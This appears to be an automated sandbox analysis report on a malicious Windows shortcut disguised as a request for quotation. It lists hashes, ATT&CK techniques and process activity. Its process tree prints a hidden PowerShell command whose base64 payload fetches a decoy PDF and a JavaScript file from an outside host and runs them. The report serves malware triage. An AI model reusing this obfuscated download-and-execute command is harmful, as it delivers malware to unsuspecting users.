ff9878910157dee6cdb0b7eebdd04744db7b8dba7e1b502b11dd6edbc831d3c7

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
16-11-2024 05:07

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General

Target

Saturday Nov 16 RFQ 120HQ.lnk
Size

215KB
MD5

614423a0f5b8a21a0ae2d957b46cef3c
SHA1

529c5271a1b4cef778dc48b2dd6edfeddd24c38c
SHA256

506db308fda3797a3474eab41654ba925cd3ba3582f638b92400ba3767294de6
SHA512

6dd13c5927b99c804e20ed0412d7279c40ddbce7c626e536c2d4a11e6455203c82780db5d53fda5552fdf590633c76e83c0c6aaaf83e3c2d528e9e5a59298af4
SSDEEP

6144:M+HZ4aKBKefy7xCfE2CQT7FSwehrQWatIJEr0a6NQ:M+mGwy70fHCQThS9Z2aaMQ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 2764	564	cmd.exe	31
PID 564 wrote to memory of 2764	564	cmd.exe	31
PID 564 wrote to memory of 2764	564	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Saturday Nov 16 RFQ 120HQ.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -NoExit -Command "$6VcZuEYj = 'aXdyIC1VcmkgaHR0cHM6Ly9xdS5heC93VkVQei5wZGYgLU91dEZpbGUgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO1N0YXJ0LVByb2Nlc3MgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO2l3ciAtVXJpIGh0dHBzOi8vcXUuYXgvdHdCa1guanMgLU91dEZpbGUgJGVudjpURU1QXGFVSXFLcC5qcztTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxhVUlxS3AuanM7JGNsPSdNU093U0YnOyRjbD0nTVNPd1NGJztFeGl0';$ZSr2rv13TMa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($6VcZuEYj));Invoke-Expression -Command $ZSr2rv13TMa"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2764-38-0x000007FEF651E000-0x000007FEF651F000-memory.dmp

Filesize
4KB

Download
memory/2764-39-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2764-40-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-42-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-41-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2764-43-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-44-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-45-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2764-46-0x000007FEF6260000-0x000007FEF6BFD000-memory.dmp

Filesize
9.6MB

Download